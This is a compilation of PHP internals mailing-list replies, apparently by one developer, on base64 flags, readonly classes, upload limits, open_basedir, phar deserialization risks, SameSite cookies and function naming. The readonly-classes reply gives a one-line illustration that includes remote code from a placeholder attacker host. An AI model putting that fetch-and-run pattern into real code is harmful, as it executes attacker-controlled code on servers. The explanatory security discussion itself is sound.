Re: [PHP-DEV] base64_encode without padding
>
> I think padding should be optional (on by default to keep BC)
>
> Of course in user land, simple to write
>
>$enc = trim(base64_encode('foo'), '=');
>
> This proposal allow to simply use
>
>$enc = base64_encode('foo', PHP_BASE64_NO_PADDING);
>
>
Please add PHP_BASE64_URL flag also.
BASE64 URL encoding (URL safe Base64 encoding) is used everywhere.
i.e. str_replace(['+','/','='], ['-','_',''], base64_encode($str);
https://base64.guru/standards/base64url
Decoding should be extended.
i.e. base64_decode($encoded, PHP_BASE64_URL)
Adding PHP_BASE64_STRICT flag may be reasonable, that requires specific
encoding strictly for decoding.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
> And also expose it for extension as
>
>PHPAPI extern zend_string *php_base64_encode_ex
> (const unsigned char *, size_t, zend_long flags);
>
>
> Use case: for ARGON2 password hashing
> see https://github.com/php/php-src/pull/13635
>
> It may seems ugly to add and remove th padding char
>
> Is a RFC needed for such a minor feature ?
>
>
> Remi
>
Re: [PHP-DEV] Sanitize filters
Kamil Tekiela : > These are just the things I found confusing and strange about the sanitize > filters. Let's try to put ourselves in the shoes of an average PHP > developer trying to comprehend these filters. It's quite easy to shoot > yourself in the foot if you try to use them. The PHP manual doesn't do a > good job of explaining them, but that's probably because they are not easy > to explain. I can't come up with good examples of when they should be used. > I agree there are many confusing names/features/behaviors. IMO, input validation and output sanitization should be 2 different features. https://wiki.sei.cmu.edu/confluence/display/seccode/Top+10+Secure+Coding+Practices Input validation is the 1st secure coding principle for input data handling. Output sanitization is the 7th secure coding principle for output data handling. Filter module is mixing these up. (And input validation should not sanitize input, but validate. Otherwise, the web app is not OWASP TOP 10 compliant. i.e. OWASP TOP 10 A09:2021 requires to detect DAST attacks) I wrote the input validation part years ago, if anyone is interested. https://github.com/yohgaki/validate-php (Obsolete C module. Do not use) https://github.com/yohgaki/validate-php-scr (PHP library) -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Preventing stack overflows
2022年10月7日(金) 22:32 Arnaud Le Blanc :
> Hi internals,
>
> I would like to propose a way to detect stack overflows before they
> happen, with the goal of improving debugability.
>
> Stack overflows are caused by excessive stack usage, typically due to
> deep recursions. Recursion in PHP doesn't use recursion internally, but
> some constructs still do, and it is not always possible to avoid without
> dramatically increasing complexity or degrading performances. Some
> examples of these constructs can be found at [1][2][3].
>
> Programs that overflow the stack are terminated with a SIGSEGV, and the
> user is left with no hint as to which code is causing the issue. This
> makes debugging difficult.
>
> Xdebug makes debugging easier by throwing an exception when the function
> call nesting level exceeds a certain limit [4], which is very useful.
> However, this can be overly limiting because this does not discriminate
> between the calls that actually use the stack and those that do not.
>
> Nikita proposed an other solution a while ago [5] that limits in terms
> of VM reentrances, so that only the constructs that actually cause
> internal recursion count towards the limit. One issue is that not all VM
> frames will consume the same amount of stack, and the maximum stack size
> depends on the system, so it's hard to determine a good default value
> for the limit that is not overly limiting.
>
> I would like to propose an alternative [6] that limits in terms of stack
> size. One issue is that it increases the internals complexity a bit, but
> this would make debugging easier without limiting recursion too much
> compared to what the system would allow.
>
> Any thoughts?
>
> [1] https://bugs.php.net/bug.php?id=64196
> [2] https://bugs.php.net/bug.php?id=75509
> [3] https://github.com/php/php-src/issues/8315
> [4] https://xdebug.org/docs/develop#max_nesting_level
> [5] https://externals.io/message/108348
> [6] https://github.com/php/php-src/pull/9104
>
>
The root cause that users cannot understand what happened is this:
$ php -n -r 'set_error_handler(function ($severity,$message, $filename,
$lineno) { throw new ErrorException($message, 0, $severity, $filename,
$lineno); }); function f() { f(); } f();'
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to
allocate 262144 bytes) in Command line code on line 1
When a fatal error happens, PHP does not allow a stack dump. Very old PHP
allowed users to catch E_ERROR by user error handler, but it is disabled to
prevent users from shooting their own foot.
I suppose allowing users to catch "only one" fatal error would solve many
issues as well as infinite recursion.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] PHP 7.4.32 Released!
2022年9月29日(木) 18:58 Derick Rethans : > The PHP development team announces the immediate availability of PHP > 7.4.32. > What happened to 7.4.31? Just curious why it's missing. -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Issues with readonly classes
2022年9月3日(土) 2:31 Nicolas Grekas :
> Hello everybody, hi Mate
>
> I played with readonly classes recently, to add support for them to
> lazy-loading proxy generation and I struggled upon what I see as serious
> issues.
>
> As noted in the RFC, and because the readonly flag must be set on child
> classes, those cannot:
>
>1. Declare a new non-readonly property;
>2. Have static properties;
>3. Have dynamic properties.
>
> I figured out 1. and 2. not by reading the RFC but because I needed those
> capabilities in the generated inheritance proxies.
>
> 1. is the most serious one: being able to declare a non-readonly property
> is the only way to implement a cloneable proxy (to be allowed to do
> $this->realInstance = clone $this->realInstance; in __clone()). I think
> there are two ways to solve the use case I have: A. fix the
> non-cloneability of readonly props or B. allow child classes to add
> non-readonly properties. Because to me this is a serious restriction, A or
> B should ideally be in 8.2. I think A is a must-have so that might be the
> thing to do. But I'm also wondering about B: the RFC doesn't contain any
> rationale about why this restriction exists (it says "Similarly how
> overriding of readonly properties works", but the similarity is quite weak,
> readonly props don't apply to other properties of child classes.) If there
> is no compelling reason to have this limitation, it should be removed IMHO.
> Basically, this would mean that child classes of readonly classes wouldn't
> have to be readonly themselves (but the existing properties on the parent
> would have to be of course.)
>
> For 2.: static properties are useful e.g. to cache some shared state (info
> extracted from reflection in my case) and I really don't see why readonly
> classes should forbid static properties. Readonly is only useful for
> instances, because it gives them immutability, but what's the link with
> static properties? Note that this is less important than the previous point
> as it's always possible to store shared global state in another class. But
> still, this feels arbitrary to me.
>
> For 3. I just noted the limitation to be exhaustive, but I'm really fine if
> dynamic properties remain forbidden on child classes. It might be seen as
> inconsistent with other classes, but dynamic properties don't have any
> purpose anyway since there is always an alternative to them.
>
> I understand there are good intentions behind these limitations (making PHP
> a stricter language). But here, I feel like this is detrimental to the
> language, by making it a minefield of kinda arbitrary dos and don'ts. At
> least that's what I feel here.
>
> Does that make sense to you? Should we remove the limitations I mention?
>
> Nicolas
> PS: About allowing readonly props to be reinitialized during cloning, I
> tried https://github.com/php/php-src/pull/9403 but I failed as I can't
> make
> it work. I'd appreciate any help on the topic. I'd even be happy to close
> if someone else would like to work on the topic. Could that be you?
>
In general, unserializing external serialised data is the same as "Read and
execute remote PHP code", i.e. include('
http://attacker.example.com/evil.php');
(Executing arbitrary code via memory corruption is trivial task with
unserialize())
Therefore, developers must validate serialized data integrity at least with
HMAC always, so that serialized data is generated by trustworthy systems
(your servers usually. Since HMAC does not have forward security, HKDF with
expiration info is recommended.)
If these restrictions are for security, then these restrictions won't
protect anything. If these are for misuse protections,
then these would be "nice to have".
Just my .02
Re: [PHP-DEV] Increase maximum size of an uploaded file to 50Mbyte
2022年9月10日(土) 23:23 David Gebler : > On Sat, Sep 10, 2022 at 3:05 PM juan carlos morales < > dev.juan.mora...@gmail.com> wrote: > >> I also agree that increasing the size to something bigger than 8M >> might not be a good idea; I can imagine that a value bigger than 8M >> (like 50M) will cause an impact in hosting platforms specially, which >> will be forced to always change the php's default values to a lower >> one, because of potential DoS Attacks. >> >> Default settings should have a reasonable level of security in mind. >> > > Do these settings actually have any impact in respect of DoS attacks? As > far as I'm aware, neither post_max_size nor upload_max_filesize do anything > to prevent or terminate processes where the client sends data exceeding > these limits, that's something you should handle in your webserver. > For example, password hash DoS attack was made possible because PHP allows 8MB post data. https://www.acunetix.com/vulnerabilities/web/long-password-denial-of-service/ IIRC, Drupal has a security release for this. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Increase maximum size of an uploaded file to 50Mbyte
2022年9月7日(水) 22:58 Misha : > Hello everyone, > > We spend a lot of time to increase limits for uploads file in PHP. Can we > increase it in php.ini? > > Current value is 2Mb. Its so small value, when photo image can take 8Mb on > iPhone X. > We should increase it to 50Mb, because DevOps engineers do useless work > trying to change it. > > I have prepared PR for it https://github.com/php/php-src/pull/9315 > > Take a look and approve it please. > > Thanks! > > -- > Best regards, Michail > I can understand the motivation, but I am against the change. To increase uploaded file max size, POST max size must be increased too. For 99.99% entry points do not need 50MB POST max size. and larger POST max size increases DoS risks. Default upload file max size and POST max size should be small enough value for better security. IMHO, PHP script that handles large POST data should increase these settings. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC] is_trusted - was is_literal
Hi, The name "is_trusted" is misleading. Literal is nothing but literal. Literals cannot always be trusted. -- Yasuo Ohgaki yohg...@ohgaki.net On Tue, Jun 22, 2021 at 5:25 AM Craig Francis wrote: > On Sat, 12 Jun 2021 at 18:00, Craig Francis > wrote: > > > I'd like to start the discussion on the is_literal() RFC: > > https://wiki.php.net/rfc/is_literal > > > > > To recap, > > - We have chosen the name is_trusted(), based 18 votes for, vs 3 against. > > - Integers are now included, which will help adoption: > > https://wiki.php.net/rfc/is_literal > > (Joe’s currently updating the implementation to have the new name, but all > the functionality is there). > > I’m glad this RFC has been well received; and thank you for all the > feedback, I really think it‘s benefitting the implementation. > > Craig >
Re: [PHP-DEV] Wiki display problem
https://museum.php.net/ This one is invalid also. -- Yasuo Ohgaki yohg...@ohgaki.net On Mon, Jun 3, 2019 at 9:26 PM Sascha Schumann < sascha.schum...@myrasecurity.com> wrote: > Will be fixed in a few minutes. Thanks for the report. > > Sascha
Re: [PHP-DEV] Re: [RFC] Numeric Literal Separator
On Wed, May 29, 2019 at 5:40 PM Markus Fischer wrote: > Hi, > > On 29.05.19 09:49, Côme Chilliet wrote: > > What bugs me with this RFC is that it seems to be mainly intended for > grouping digits by 3, which from what I understand is cultural. > > At least some asian languages have a concept of > https://en.wikipedia.org/wiki/Myriad and group them by 4, at least from > the language point of view. > > It does seem when writing as numbers they still group by 3, but it seems > other usages exists: > > > https://japantoday.com/category/features/lifestyle/10-000-or-1--japanese-schools-are-starting-to-move-commas-on-big-numbers-but-why > > My understanding from the RFC is that that the grouping is not relevant, > the `_` is stripped regardless. > > I would expected this all to work the same > > - 1_000_000 => 100 > - 100_ => 100 > - 1_0_0_0_0_0_0 => 100 > > It even gives similar examples with the hex variant: > > 0x42_72_6F_77_6E; // with separator > > Am I wrong? > Simply ignoring "_" in numeric literal is nicer (and a bit faster) especially for hex/octal/bit. Hex may be grouped by 2,4,8,16,32 and so on. Bit fields may be grouped by any length. Regards, P.S. Even if it's easier for us, we don't use 1, normally at least today. -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] open_basedir?
On Sat, May 11, 2019 at 5:56 AM Niklas Keller wrote: > > I'm against deprecating it or removing it. > > > > As said earlier, it has some security value, especially with mass > > hosting. If I'm hosting thousands of websites for thousands of users, > > using chroot is not doable, and open_basedir is a good alternative (at > > least it's better than nothing). > > > > That's why it's used by ISPconfig and other panels: there is no other > > solution that I know of. > > That's exactly the reason why I'm for removing it. There will always > be ways to circumvent open_basedir and setups like this are insecure. > It gives a false sense of security. It's not better than nothing, > because most hosting providers would opt for a real solution instead > of leaving users entirely unprotected. > Under VM setup, there is not much problem for linux. However, docker (and/or cgroup based containers) has problem because there is no namespace for selinux. Therefore, containers cannot have workable selinux protection, as well as OSes that lacks selinux like protections. I don't care much about open_basedir. However, I wonder how many container setups relay on open_basedir as additional security. Regards, P.S. Anyone shouldn't rely on stack smashing attack protection, yet it's still there for sail safe purpose. open_basedir is fail safe feature. -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV][DISCUSSION] Multilingual PHP
On Fri, Apr 12, 2019 at 5:32 AM Michael Morris wrote: > Submitted to the floor is a Wired article from 2 days ago I came across > > > https://www.wired.com/story/coding-is-for-everyoneas-long-as-you-speak-english/ > > The manual of PHP is translated into multiple languages - but what are the > development hurdles of the language itself being multilingual? > > From what I understand of the compiler - maybe not that much. The language > requires an opening tag, so we could hook into that like this example for > Japanese > > > A PHP opening tag with such a qualifier would change over all function > names and reserved words. Could these would be set on a per file basis? > Interesting idea. This may be good for kids to learn programming language. PHP's parser is compatible with UTF-8, so code like this works. [yohgaki@dev ~]$ cat t.php
Re: [PHP-DEV] PHP deserialization techniques offer rich pickings for security researchers
On Tue, Apr 16, 2019 at 10:55 PM Bishop Bettini wrote: > On Tue, Apr 16, 2019 at 6:38 AM Yasuo Ohgaki wrote: > >> On Mon, Apr 15, 2019 at 3:28 PM Stanislav Malyshev >> wrote: >> >> > Hi! >> > >> > > Thanks for responding to this issue. >> > > >> > > Will calling getMetaData still parse and >> > > execute malicious code? >> > >> > If it's contained in phar and serialized data and the surrounding code >> > (I understand that most techniques mentioned in the article rely on >> > certain vulnerable code being present) then yes. >> > >> >> This issue was discussed in this list before. >> As long as PHP calls unserialize for phar metadata, object injection is >> possible >> which may allow malicious code execution. >> >> https://github.com/php/php-src/blob/master/ext/phar/phar.c#L607 >> >> I'm not sure if Phar metadata requires object or not. >> If not, Phar may use JSON. Or we may add safer unserialize that ignores >> object >> and reference for maximum compatibility. >> >> Something has to be done, since we wouldn't fix memory issue(s) in >> unserialization. >> > > Phar itself does not require object metadata, but users may have objects > in their phars' metadata. Using the argument from BC, we can't remove > object support. That said, I'd suggest we go about this in two phases: > > 1. Immediate mitigation. Invoke phar_parse_metadata only when explicitly > called for, via getMetadata. I believe hasMetadata and delMetadata do not > need to unserialize to answer their functions. This is, as I understand it, > Stas' suggestion. > > 2. Improve caller control on unserialization. Change the signature to > public Phar::getMetadata ( mixed $allowed_classes = true ) : mixed, and > invoke the behavior similar to how unserialize itself works. Since all of > this problem stems from the use of untrusted content on the phar:// stream, > we should put into the caller's hands as much control as possible. > > If the above is reasonable, I'll create tickets for the work and put it up > at the top of my queue (right behind finishing the phar fuzzing PR). > Sounds good to me. Currently, it seems phar unserialize metadata always by phar_parse_pharfile() https://github.com/php/php-src/blob/master/ext/phar/phar.c#L664 This behavior is not nice. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] PHP deserialization techniques offer rich pickings for security researchers
On Mon, Apr 15, 2019 at 3:28 PM Stanislav Malyshev wrote: > Hi! > > > Thanks for responding to this issue. > > > > Will calling getMetaData still parse and > > execute malicious code? > > If it's contained in phar and serialized data and the surrounding code > (I understand that most techniques mentioned in the article rely on > certain vulnerable code being present) then yes. > This issue was discussed in this list before. As long as PHP calls unserialize for phar metadata, object injection is possible which may allow malicious code execution. https://github.com/php/php-src/blob/master/ext/phar/phar.c#L607 I'm not sure if Phar metadata requires object or not. If not, Phar may use JSON. Or we may add safer unserialize that ignores object and reference for maximum compatibility. Something has to be done, since we wouldn't fix memory issue(s) in unserialization. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Don't silence fatal errors
On Thu, Feb 7, 2019 at 10:07 AM Girgias wrote: > On Thu, 7 Feb 2019 at 02:03, Pierre Joye wrote: > > > Good morning Nikita, > > > > On Tue, Nov 27, 2018, 4:43 AM Nikita Popov > > > > Hi internals, > > > > > > When the silencing operator @ is used, the intention is generally to > > > silence expected warnings or notices. However, it currently also > silences > > > fatal errors. As fatal errors also abort request execution, the result > > will > > > often be a hard to debug white screen of death. > > > > > > The most recent occurrence which motivated me to write this mail is > > > https://bugs.php.net/bug.php?id=77205, but I've seen this play out > > > multiple > > > times already. > > > > > > I would like to propose to change the behavior of @ to only silence > > > warnings, notices and other low-level diagnostics, but leave fatal > errors > > > intake. In particular, the following should not be silenced: > > > > > > > > > I am surely missing use cases because I wonder why we need @, at all? > > > > Yes there are functions generating extra messages and should not, be fro. > > PHP implementation or from external libraries (wrapping stderr to php > > errors). All of them could be fixed. > > > > Best, > > Pierre > > > > The most common case which comes to mind is to suppress erros while file > reading. > Because even if you check a file exists it could be deleted inbetween the > check and the > read command. As you can see this is even written in the documentation [1] > > Best regards > > George Peter Banyard > > [1] https://secure.php.net/manual/en/function.fopen.php If a developer decides to write sloppy code, then @ may be acceptable. I wouldn't use @, though. IMO, there should be INI switch that kills @ operator. There is extension module for this purpose, but PHP itself should have it. @ operator is convenient, but @ is evil and make debugging a lot harder. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Deprecation ideas for PHP 8
On Thu, Jan 31, 2019 at 7:30 PM Rowan Collins wrote: > On Thu, 31 Jan 2019 at 07:34, Peter Kokot wrote: > > > Sorry, I didn't put my words correctly here. Not inconsistency. > > Inconsistency is a fact, yes. I've meant the incapability of doing > > something to fix this inconsistency. And it is becoming some sort of > > stubborn belief and less and less people want to fix it. > > > > The RFC: Consistent function names [1] shows the magnitude of this. I > > don't think every function listed there needs a change so it can be > > greatly reduced. But still this can be done in several years to 10 > > years or so (measuring over the thumb). > > > > > Hi, > > I'm sorry if I sound stubborn, but I have yet to see a reasonable answer to > the fundamental problem: the effort needed is not on the part of a few > volunteers changing the language, it is effort by *every single user of the > language*, rewriting *every single PHP program ever written*. > > WordPress officially supports both PHP 5.2, released 13 years ago, and PHP > 7.3, released a couple of months ago; one of their biggest challenges in > raising that bar is that they, too, have to persuade a community (the theme > and plugin authors) to change their code to match. That should give you > some idea of how long old and new names would have to exist side by side, > while we waited for everyone to rewrite all their code, and meanwhile, the > language would be *even more inconsistent*, because there would be extra > ways of writing the same thing. > Hi, Aliases may stay defined 10, 20 years or even forever for POSIX(IEEE) names. So there wouldn't be compatibility issues for CODING_STANDARD names. Christoph suggests namespace for renaming function. This works also. If namespace is used, it is better to have "PHP" namespace to keep user namespace clean. IMO. e.g. PHP\BC\add() This creates yet another inconsistency with existing modules, though. Bottom line is almost all developers dislike inconsistent names, prefer to enter extra few chars. Consistent name isn't big deal, but keeping inconsistent names for good doesn't sound nice. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Deprecation ideas for PHP 8
On Wed, Jan 23, 2019 at 7:08 AM Girgias wrote: > On Tue, 22 Jan 2019 at 22:52, Yasuo Ohgaki wrote: > >> Hi Girgias >> >> It seems good list in general. >> There would not be issues marking them as deprecated. >> "Deprecation" means "Soft deprecation", correct? >> >> Removing these aliases from PHP 8 is not good idea. >> Aliases should be removed when nobody cares about these aliases. >> >> For example, pg_loopen()/etc were there until nobody cares about these >> aliases. >> New names, pg_lo_open()/etc, were given in PHP4.x. These changes were >> documented since PHP 4.x. >> >> Regards, >> >> -- >> Yasuo Ohgaki >> yohg...@ohgaki.net >> > > Hello Yasuo Ohgaki. > > By Deprecation, I was indeed meaning that as of PHP 8 these function > should throw > E_DEPRECATED errors and be removed as of PHP 9 which would give plenty of > time > for people to adapt and upgrade their codebase. > This is good approach, too. The alias system does not allow to get currently called function name w/o overhead, AFAIK. i.e. It simply calls defined functions. Perhaps, add PHP_FALIAS_DEPRECATED() for it. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Deprecation ideas for PHP 8
On Wed, Jan 23, 2019 at 6:28 AM Midori Koçak wrote: > Can we also add strange function names without any naming conventions to > this list? Without undersore: strcspn, With underscore: str_repeat, chain > of abrevs: strnatcasecmp. Similar namings do exist for array functions > either. > Candidates are these https://wiki.php.net/rfc/consistent_function_names >From previous discussion, I think it would be better to keep both PHP and POSIX names. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Deprecation ideas for PHP 8
Hi Girgias It seems good list in general. There would not be issues marking them as deprecated. "Deprecation" means "Soft deprecation", correct? Removing these aliases from PHP 8 is not good idea. Aliases should be removed when nobody cares about these aliases. For example, pg_loopen()/etc were there until nobody cares about these aliases. New names, pg_lo_open()/etc, were given in PHP4.x. These changes were documented since PHP 4.x. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] PHP 2^3
On Mon, Jun 25, 2018 at 9:30 PM, Zeev Suraski wrote: > > Thoughts? > Since PHP 8 is going to open more doors for general purpose scripting usages, how about reconsidering "Default embed mode always"? i.e. Execute PHP script without "https://wiki.php.net/rfc/nophptags https://wiki.php.net/rfc/source_files_without_opening_tag Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
[PHP-DEV] Check session availability before starting session.
Hi all, I've got request for session_available() which can check if session ID is sent from client or not _before_ starting session. (The session data existence does not matter) This is for GDPR primarily. Starting session before agreement can be GDPR compliance violation. Since PHP supports various way to embed session ID in page / request, finding actual state by user script is not a simple task. i.e. Just checking session ID cookie is not good enough by session module spec. Session ID can be stored in URL path, query, POST parameter and cookie. Any comments? -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [VOTE] Same Site Cookie RFC
On Mon, Aug 6, 2018 at 5:53 PM Yasuo Ohgaki wrote: > > > On Mon, Jul 30, 2018 at 6:51 PM Andrey Andreev wrote: > >> On Mon, Jul 30, 2018 at 5:46 AM, Yasuo Ohgaki wrote: >> > On Sun, Jul 29, 2018 at 9:27 PM Andrey Andreev >> wrote: >> >> >> >> Hi, >> >> >> >> On Sun, Jul 29, 2018 at 7:22 AM, Yasuo Ohgaki >> wrote: >> >> > >> >> > One thing regarding implementation. >> >> > Since the internet RFC has only 2 values for "samesite", the >> parameter >> >> > can >> >> > be >> >> > bool rather than string so that users can avoid "broken security by a >> >> > typo". >> >> > If "samesite" has more than 2 values, the INI handler can be changed >> so >> >> > that >> >> > it can >> >> > handle both bool and string parameters. >> >> > >> >> >> >> The attribute has 2 possible values, but those are 2 different modes >> >> of operation *when enabled*, not 2 states in total. It doesn't fit in >> >> a boolean, and even if it did it wouldn't be forward-compatible that >> >> way. >> > >> > >> > What do you mean by "those are 2 different modes >> > of operation *when enabled*, not 2 states in total. "? >> > >> > samesite-value = "Strict" / "Lax" >> > >> > Flag is flag. It does not matter if it is used as combined values. >> > >> > An INI value can be bool and string/etc. Even when 3rd value is added, >> it >> > can >> > be supported. Such INIs exist in PHP already. >> > >> >> A boolean makes sense for Secure and HTTPonly, where the flag either >> exists or not. That's not what we have here, as SameSite=Lax is not >> the same thing as not having SameSite at all. >> >> bool(false) may make sense as an Off switch, yes, but that's not what >> you suggested ... >> > > > Bool actually have 3 values. > Simple INI handler can do this, precisely. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [VOTE] Same Site Cookie RFC
On Mon, Jul 30, 2018 at 6:51 PM Andrey Andreev wrote: > On Mon, Jul 30, 2018 at 5:46 AM, Yasuo Ohgaki wrote: > > On Sun, Jul 29, 2018 at 9:27 PM Andrey Andreev wrote: > >> > >> Hi, > >> > >> On Sun, Jul 29, 2018 at 7:22 AM, Yasuo Ohgaki > wrote: > >> > > >> > One thing regarding implementation. > >> > Since the internet RFC has only 2 values for "samesite", the parameter > >> > can > >> > be > >> > bool rather than string so that users can avoid "broken security by a > >> > typo". > >> > If "samesite" has more than 2 values, the INI handler can be changed > so > >> > that > >> > it can > >> > handle both bool and string parameters. > >> > > >> > >> The attribute has 2 possible values, but those are 2 different modes > >> of operation *when enabled*, not 2 states in total. It doesn't fit in > >> a boolean, and even if it did it wouldn't be forward-compatible that > >> way. > > > > > > What do you mean by "those are 2 different modes > > of operation *when enabled*, not 2 states in total. "? > > > > samesite-value = "Strict" / "Lax" > > > > Flag is flag. It does not matter if it is used as combined values. > > > > An INI value can be bool and string/etc. Even when 3rd value is added, it > > can > > be supported. Such INIs exist in PHP already. > > > > A boolean makes sense for Secure and HTTPonly, where the flag either > exists or not. That's not what we have here, as SameSite=Lax is not > the same thing as not having SameSite at all. > > bool(false) may make sense as an Off switch, yes, but that's not what > you suggested ... > Bool actually have 3 values. true/false/null(empty) So there isn't issue being bool INI. It's much secure than string, since current code does not have validation. i.e. Typo breaks security setting. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [VOTE] Same Site Cookie RFC
On Sun, Jul 29, 2018 at 9:27 PM Andrey Andreev wrote: > Hi, > > On Sun, Jul 29, 2018 at 7:22 AM, Yasuo Ohgaki wrote: > > > > One thing regarding implementation. > > Since the internet RFC has only 2 values for "samesite", the parameter > can > > be > > bool rather than string so that users can avoid "broken security by a > typo". > > If "samesite" has more than 2 values, the INI handler can be changed so > that > > it can > > handle both bool and string parameters. > > > > The attribute has 2 possible values, but those are 2 different modes > of operation *when enabled*, not 2 states in total. It doesn't fit in > a boolean, and even if it did it wouldn't be forward-compatible that > way. > What do you mean by "those are 2 different modes of operation *when enabled*, not 2 states in total. "? samesite-value = "Strict" / "Lax" Flag is flag. It does not matter if it is used as combined values. An INI value can be bool and string/etc. Even when 3rd value is added, it can be supported. Such INIs exist in PHP already. Regards, -- Yasuo Ohgaki
Re: [PHP-DEV] [VOTE] Same Site Cookie RFC
On Mon, Jul 23, 2018 at 10:42 AM Niklas Keller wrote:
> Am So., 22. Juli 2018 um 18:11 Uhr schrieb Pedro Magalhães <
> m...@pmmaga.net>:
> >
> > On Sun, Jul 22, 2018 at 2:47 PM Niklas Keller wrote:
> >
> > > It'd be great to use an OO approach instead of "magic" array keys,
> > > e.g. like this:
> > >
> > >
> https://github.com/amphp/http/blob/9c0ba2f2ebfae482b3ad7a0475eb3d1f74d87949/src/Cookie/CookieAttributes.php
> > >
> > > Regards, Niklas
> > >
> >
> > Hi,
> >
> > While I do agree with the sentiment:
> > - That would have been an even greater departure from the original RFC.
> > - This is currently a purely procedural API. If this were about an
> > hypothetical `ResponseHeaders::setCookie` it would definitely be the way
> to
> > go.
> >
> > Regards,
> > Pedro
>
> Hey Pedro,
>
> why does it have to be an all or nothing approach? It's perfectly fine
> to have a function that accepts an object.
>
> Regards, Niklas
>
While defining SessionCookieParams object and use it is ok, but
there is a thing to consider.
How it could be more useful than current procedural API. i.e. array vs
object params.
class SessionCookiePrams {
public $lifetime;
public $path;
// and so on
}
Users still can typo with this, so it may be
class SessionCookiePrams {
private $lifetime;
private $path;
// and so on
function setLifetime() {..}
function setPath() {..}
}
Defining such OO API is out of scope for this RFC.
It would be better let users to define such OO API wrapper for the time
being.
If we would like to add OO API for session, it would be better to have
session_oo. c or like and define OO APIs in it. It requires a new RFC for
this.
One thing regarding implementation.
Since the internet RFC has only 2 values for "samesite", the parameter can
be
bool rather than string so that users can avoid "broken security by a typo".
If "samesite" has more than 2 values, the INI handler can be changed so
that it can
handle both bool and string parameters.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] bugs.php.net downtime
On Sat, Jul 21, 2018 at 10:14 AM Rasmus Lerdorf wrote: > Other than the autoincrement they are identical. I normally use utf8mb4, > but I figured I would play it safe and copy it over verbatim. I guess it > wasn't safe. > Right. There are risks. For example, encoding like SJIS contains \ as a part of valid char. When encoding is mixed, escape could be disabled and injections are possible. Even when UTF-8 is used, mixed invalid encoding handling can break security measures. e.g. Invalid UTF-8 encoding that is missing the last multibyte byte. When santaization is required, programmers have two choices. - Remove all bytes specified by MSB of UTF-8 first byte. i.e. Consume the last byte. - Remove only bytes that are invalid as UTF-8. i.e Leave last ASCII char, for example If these designs are mixed, encoding attack is possible also. DoS by invalid char is trivial. Current web browsers can refuse to render entire page that has badly broken encoding. The only good countermeasure against encoding attack is encoding validation with Fail Fast principle. i.e. Validate encoding at application software's outer most trust boundary. I'll do some research, but ideas welcome. > IMO, all data should be converted to valid UTF-8 encoding as we use UTF-8 as bugs.php.net encoding. Replace invalid date to "?" or something else. Some data will be lost, however valid char encoding is mandatory for correct data handling as described above. In order to replace invalid char to "?" (or something else), mb_convert_encoding() can be used. "mbstring.substitute_character" INI is for specifying replacing char. Default is none, so it removes invalid data by default. If you would like to keep original data, number of detected invalid chars are recorded and can be retrieved by mb_get_info()'s array. "illegal_chars" is "Total number of illegal chars in the script's lifetime". By checking this, invalid char existence can be checked. (Alternatively, simply comparing original and converted data works also.) You might want to count number of all illegal chars in the db before converting data. "illegal_chars" is handy for this. Old data may be added to converted data by using base64 if it's necessary. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] bugs.php.net downtime
Hi, On Wed, Jul 18, 2018 at 5:39 AM Rasmus Lerdorf wrote: > Hopefully the new box will be a bit quicker too. It is moving from PHP 5.5 > to 7.2 on faster hardware. > It feels faster now. Nice work. Anyway, it seemed UTF-8 char is not handled well. I tried to send reply with UTF-8 chars にほんご文字列 for https://bugs.php.net/bug.php?id=76635 and response is empty page with 500 code. Request URL: https://bugs.php.net/bug.php?id=76635=1 Request Method: POST Status Code: 500 Internal Server Error Remote Address: 206.189.200.141:443 Referrer Policy: no-referrer-when-downgrade Invalid UTF-8 data stored in bug db can result in broken pages. How about convert invalid data into URL encoded data or something else? Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC] Optional typehint check for parameters
On Mon, Jul 16, 2018 at 4:46 AM Zeljko Mitic wrote:
> PHP is dynamic language and each typed typehinted parameter has to be
> checked every time. I am suggesting new php.ini value "typecheck.enable =
> 1" which can be turned off.
>
> Example:
> with default php config, a code like this would check each member of $users
> array:
>
> function demo(User ...$users) {}
>
> but with "typecheck.enable = 0", same code would be treated like it was
> written this way:
>
> function demo(...$users) {}
>
> Basically, php would simply *ignore* typehints and work like they are not
> there.
>
What you need is DbC.
It's more flexible and complete. It satisfies all of your needs and more.
An issue is that DbC is not static code analysis tool friendly.
https://wiki.php.net/rfc/introduce_design_by_contract
https://wiki.php.net/rfc/dbc
https://wiki.php.net/rfc/dbc2
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] [VOTE] array_key_first(), array_key_last(), array_value_first(),array_value_last()
On Thu, Jul 12, 2018 at 8:05 AM Andrea Faulds wrote:
> Hi,
>
> CHU Zhaowei wrote:
> > I voted no.
> > I don't think we have an agreement on dealing with non-existing value,
> and the way this RFC proposed, just returning null without any
> notice/warning, is wrong IMO. I know we already do this in other array_*
> functions, but we cannot keep making mistakes just because we already made
> same mistake.
> >
> > Regards,
